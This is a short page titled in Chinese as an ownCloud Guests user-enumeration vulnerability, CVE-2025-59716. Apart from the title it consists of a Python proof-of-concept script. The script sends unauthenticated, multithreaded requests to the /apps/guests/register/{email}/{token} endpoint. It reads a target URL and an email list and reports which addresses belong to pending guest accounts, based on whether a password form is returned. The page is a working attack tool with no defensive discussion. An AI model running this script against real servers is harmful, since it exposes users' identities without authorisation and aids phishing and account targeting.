CVE-2025-59716: ownCloud Guests用户枚举漏洞

#!/usr/bin/env python3 # CVE-2025-59716 PoC - ownCloud Guests User Enumeration # Description: Unauthenticated user enumeration via /apps/guests/register/{email}/{token} endpoint import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_user_enumeration(base_url, email, token="invalid_token"): """ Check if email corresponds to a valid pending guest user. Returns True if user exists (different response), False otherwise. """ url = f"{base_url}/apps/guests/register/{email}/{token}" try: response = requests.get(url, timeout=10, allow_redirects=False) # Valid guest user typically returns 200 with password form # Invalid user returns 404, 302, or different content if response.status_code == 200 and "password" in response.text.lower(): return True return False except requests.RequestException as e: print(f"[!] Error checking {email}: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-59716.py <target_url> [email_list]") print("Example: python cve-2025-59716.py https://vulnerable-server.com emails.txt") sys.exit(1) base_url = sys.argv[1].rstrip('/') email_list = sys.argv[2] if len(sys.argv) > 2 else None # Test emails test_emails = [ "[email protected]", "[email protected]", "[email protected]" ] if email_list: try: with open(email_list, 'r') as f: test_emails = [line.strip() for line in f if line.strip()] except IOError as e: print(f"[!] Failed to read email list: {e}") print(f"[*] Testing {len(test_emails)} emails against {base_url}") print("[*] Looking for valid pending guest users...\n") found_users = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_user_enumeration, base_url, email): email for email in test_emails} for future in as_completed(futures): email = futures[future] try: if future.result(): print(f"[+] VALID USER FOUND: {email}") found_users.append(email) except Exception as e: print(f"[!] Exception for {email}: {e}") print(f"\n[*] Scan complete. Found {len(found_users)} valid guest user(s).") if found_users: print("[*] Valid emails:") for email in found_users: print(f" - {email}") if __name__ == "__main__": main()